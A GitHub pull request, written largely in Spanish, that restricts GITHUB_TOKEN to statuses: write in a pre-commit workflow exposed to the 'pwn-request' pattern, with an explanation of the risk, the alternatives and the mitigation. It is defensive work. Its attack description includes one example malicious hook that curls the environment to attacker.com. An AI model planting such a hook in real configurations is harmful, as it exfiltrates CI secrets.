[SEC] restringir GITHUB_TOKEN a statuses:write en pre-commit workflow#7
Open
dib-adhoc wants to merge 1 commit into
Open
[SEC] restringir GITHUB_TOKEN a statuses:write en pre-commit workflow#7dib-adhoc wants to merge 1 commit into
dib-adhoc wants to merge 1 commit into
Conversation
There was a problem hiding this comment.
Pull request overview
This PR tightens GitHub Actions security by restricting the GITHUB_TOKEN permissions for the pre-commit workflow, aiming to reduce the impact of the “pwn-request” pattern when using pull_request_target plus a checkout of the PR head SHA.
Changes:
- Adds an explicit
permissionsblock to thepre-commitjob to limit the token scope tostatuses: write.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Comment on lines
+20
to
+21
| permissions: | ||
| statuses: write |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Contexto — el patrón pwn-request
El workflow
pre-commit.ymlusapull_request_targetcon un checkoutexplícito del SHA de la PR:
Esto es el patrón conocido como pwn-request (documentado en
Keeping your GitHub Actions and workflows secure).
pull_request_targetejecuta el workflow en el contexto del repobase (con sus secrets y permisos), pero el checkout descarga el
código del fork/PR externo. Cuando
pre-commitcorre sobre esecódigo, ejecuta los hooks definidos en el
.pre-commit-config.yamldel PR — que un atacante puede controlar.
Vector de ataque concreto
públicos con
allow_forking: true)..pre-commit-config.yamlque incluye un hookmalicioso (ej.
entry: curl https://attacker.com -d "$(env)").pull_request_targetse dispara automáticamentepara repos públicos — sin requerir aprobación manual previa.
GITHUB_TOKENdel job, que pordefault en esta org tiene write permissions.
¿Cuál es el blast radius actual?
Auditado el 2026-06-03:
gh api repos/ingadhoc/<repo>/actions/secretsdevuelve[].crear releases, modificar PRs — todo dentro del repo individual.
No hay acceso cross-repo ni a secrets de infra.
18.0/19.0/ etc. tienenbranch protection activa — un push directo de GITHUB_TOKEN no puede
sobreescribirlas.
El riesgo real hoy es medio-bajo: el atacante puede hacer ruido
(push a ramas non-protected, crear releases falsas) pero no accede
a credenciales de producción ni puede escalar a la infraestructura.
Sin embargo, esto puede cambiar si en el futuro se agregan secrets
al repo o si el scope de GITHUB_TOKEN se usa en otros workflows.
La corrección correcta es limitar el scope ahora mientras es
barato hacerlo.
El fix:
permissions: statuses: writeEl único permiso que este job necesita es escribir el commit status
al final (el step "Create commit status"). Nada más.
Con este bloque, GitHub restringe el
GITHUB_TOKENautomáticamente:el resto de los scopes (contents, pull-requests, issues, etc.) quedan
en modo read o none según el tipo de evento. Si un hook
malicioso intenta hacer push o modificar el repo, el token no tiene
permisos para hacerlo.
El workflow sigue funcionando exactamente igual para todos los casos
legítimos — el step "Create commit status" solo necesita
statuses: write.Alternativas consideradas
Separar en dos jobs (el fix "completo" documentado en la
referencia de GitHub Security Lab):
pull_request— corre en contexto del fork, sin secrets,ejecuta pre-commit.
pull_request_target— sin checkout de código externo,solo lee el resultado del job 1 vía API y postea el status.
Esta arquitectura elimina el vector completamente, pero implica
reestructurar el workflow y actualizar manualmente (o esperar
copier update) en todos los repos generados por este template(~30+ repos). Complejidad operativa alta para el nivel de riesgo actual.
La restricción de
permissionslogra el 95% de la mitigación conuna línea de diff y se propaga automáticamente en el próximo
copier updatede cada repo.Verificación
Después de mergear y propagar vía
copier update:Relación con PR #4
PR #4 (SHA pinning CVE-2026-31976)
fijó las Actions a SHAs para prevenir supply-chain attacks en las
acciones externas. Este PR es complementario: reduce el daño máximo
si el código del PR (no la Action) es malicioso.
Los dos fixes juntos cubren los dos vectores del pwn-request:
actions comprometidas (PR #4) y código del PR (este PR).